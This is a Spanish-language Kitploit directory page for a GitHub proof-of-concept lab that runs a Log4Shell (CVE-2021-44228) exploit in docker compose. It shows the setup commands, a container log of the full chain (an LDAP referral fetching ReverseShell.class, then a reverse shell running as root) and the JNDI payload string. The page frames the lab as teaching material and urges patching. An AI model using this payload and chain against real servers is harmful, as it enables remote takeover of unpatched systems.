Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-44228-PoC — Entorno de laboratorio autónomo que ejecuta el exploit de forma segura, todo desde docker compose | Kitploit
Herramientas/GitHubGitHub/j3kz/cve-2021-44228-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubj3kz/cve-2021-44228-poc

CVE-2021-44228-PoC

Entorno de laboratorio autónomo que ejecuta el exploit de forma segura, todo desde docker compose

Ver Repositorio
2hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Entorno de laboratorio autónomo PoC que ejecuta una reverse-shell con Log4Shell (CVE-2021-44228)

Este es un entorno de laboratorio autónomo que ejecuta el exploit de forma segura, todo desde docker compose.

Las versiones afectadas son Apache Log4j <=2.0–2.14.1 y el CVE se rastrea como CVE-2021-44228 (puntuación CVSS: 10.0).

¡¡¡Parchee Apache Log4j a la versión 2.16+ lo antes posible!!!

Requisitos previos

Este código requiere Docker y Docker Compose.

Descripción

Los archivos Dockerfile y docker-compose.yml se explican por sí solos para construir e iniciar el entorno de laboratorio.

El servidor víctima log4shell-server se construye usando el proyecto demo de spring initializr, incluyendo la versión vulnerable Log4j 2.14.1 a través de .

spring-boot-starter-log4j2 2.6.1

El código vulnerable se encuentra dentro de DemoApplication.java.

La Ejecución Remota de Código es proporcionada por el rce-server.

El servidor LDAP intermedio se basa en Java Unmarshaller Security - Convirtiendo tus datos en ejecución de código.

El vector de ataque se realiza desde este script para establecer una conexión con el servidor reverse-shell.

El servidor Reverse-shell espera una conexión y envía un ejemplo de comando echo $(whoami) a través de la reverse shell, el cual se ejecuta en el servidor víctima log4shell-server.

Uso:

root@kitploit:~
git clone https://github.com/j3kz/CVE-2021-44228-PoC.git
cd CVE-2021-44228-PoC
docker compose up
root@kitploit:~
ldap-server       | Listening on 0.0.0.0:1389

Servidor LDAP listo y escuchando.

root@kitploit:~
reverse-shell     | listening on [::]:4242 ...

Servidor Reverse-shell listo y escuchando.

root@kitploit:~
log4shell-server  |
log4shell-server  |   .   ____          _            __ _ _
log4shell-server  |  /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
log4shell-server  | ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
log4shell-server  |  \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
log4shell-server  |   '  |____| .__|_| |_|_| |_\__, | / / / /
log4shell-server  |  =========|_|==============|___/=/_/_/_/
log4shell-server  |  :: Spring Boot ::                (v2.6.1)
log4shell-server  |
log4shell-server  | 2021-12-18 12:31:37.695  INFO 1 --- [           main] c.e.d.DemoApplication                    : Starting DemoApplication using Java 1.8.0_181 on 46edaaf2f7eb with PID 1 (/app/spring-boot-application.jar started by root in /)
log4shell-server  | 2021-12-18 12:31:37.739  INFO 1 --- [           main] c.e.d.DemoApplication                    : No active profile set, falling back to default profiles: default
log4shell-server  | 2021-12-18 12:31:42.337  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
log4shell-server  | 2021-12-18 12:31:42.439  INFO 1 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
log4shell-server  | 2021-12-18 12:31:42.440  INFO 1 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
log4shell-server  | 2021-12-18 12:31:42.717  INFO 1 --- [           main] o.a.c.c.C.[.[.[/]                        : Initializing Spring embedded WebApplicationContext
log4shell-server  | 2021-12-18 12:31:42.718  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 4549 ms
log4shell-server  | 2021-12-18 12:31:44.660  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path ''

Servidor vulnerable listo y escuchando.

root@kitploit:~
attack-vector     | 👌 log4shell-server:8080 is listening!
attack-vector     | 🚀 Sending attack vector ...

Servidor de ataque esperando conexión y enviando el vector de ataque.

root@kitploit:~
log4shell-server  | 2021-12-18 12:31:44.740  INFO 1 --- [           main] c.e.d.DemoApplication                    : Started DemoApplication in 8.402 seconds (JVM running for 11.113)
log4shell-server  | 2021-12-18 12:31:45.110  INFO 1 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
log4shell-server  | 2021-12-18 12:31:45.110  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
log4shell-server  | 2021-12-18 12:31:45.112  INFO 1 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 2 ms
ldap-server       | Send LDAP reference result for attack-vector redirecting to http://rce-server:3000/ReverseShell.class
rce-server        | 172.31.0.3 - - [18/Dec/2021:12:31:45 +0000] "GET /ReverseShell.class HTTP/1.1" 200 891 "" "Java/1.8.0_181"

Servidor vulnerable ejecutando la solicitud, registrándola, por lo que el servidor LDAP solicita RCE al servidor RCE.

root@kitploit:~
reverse-shell     | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:43877 ([::ffff:172.31.0.3]:43877)
reverse-shell     | 👻 Hello from the log4shell-server! We are root.
reverse-shell     | listening on [::]:4242 ...
reverse-shell     | connect to [::ffff:172.31.0.5]:4242 from [::ffff:172.31.0.3]:41249 ([::ffff:172.31.0.3]:41249)

La RCE se ejecuta y el servidor víctima abre la reverse shell, y el servidor reverse-shell puede ejecutar comandos remotos.

root@kitploit:~
log4shell-server  | 2021-12-18 12:31:45.187  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello  param:name: ReverseShell@22fb868
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:host: log4shell-server:8080
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:user-agent: curl/7.80.0
log4shell-server  | 2021-12-18 12:31:45.345  INFO 1 --- [nio-8080-exec-1] Demo                                     : GET /hello header:accept: */*

El servidor víctima está registrando la solicitud del vector de ataque.

root@kitploit:~
attack-vector     | 🔥 Server returned:
attack-vector     | > HTTP/1.1 200
attack-vector     | > Content-Type: text/plain;charset=UTF-8
attack-vector     | > Content-Length: 52
attack-vector     | > Date: Sat, 18 Dec 2021 12:31:45 GMT
attack-vector     | >
attack-vector     | > Hello ${jndi:ldap://ldap-server:1389/attack-vector}!
attack-vector     | Attack should be successfull, have a nice day!

La solicitud del vector de ataque registra la respuesta y se retira.

Aviso legal

Este repositorio es únicamente para aprender sobre la vulnerabilidad.

El proyecto no está destinado a ser ni puede ser utilizado como un exploit malicioso del CVE-2021-44228 sin el consentimiento del propietario del servidor víctima.

Cualquier uso para actividades maliciosas está prohibido y penado por leyes severas.

Referencias

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

https://github.com/christophetd/log4shell-vulnerable-app

Descargar herramienta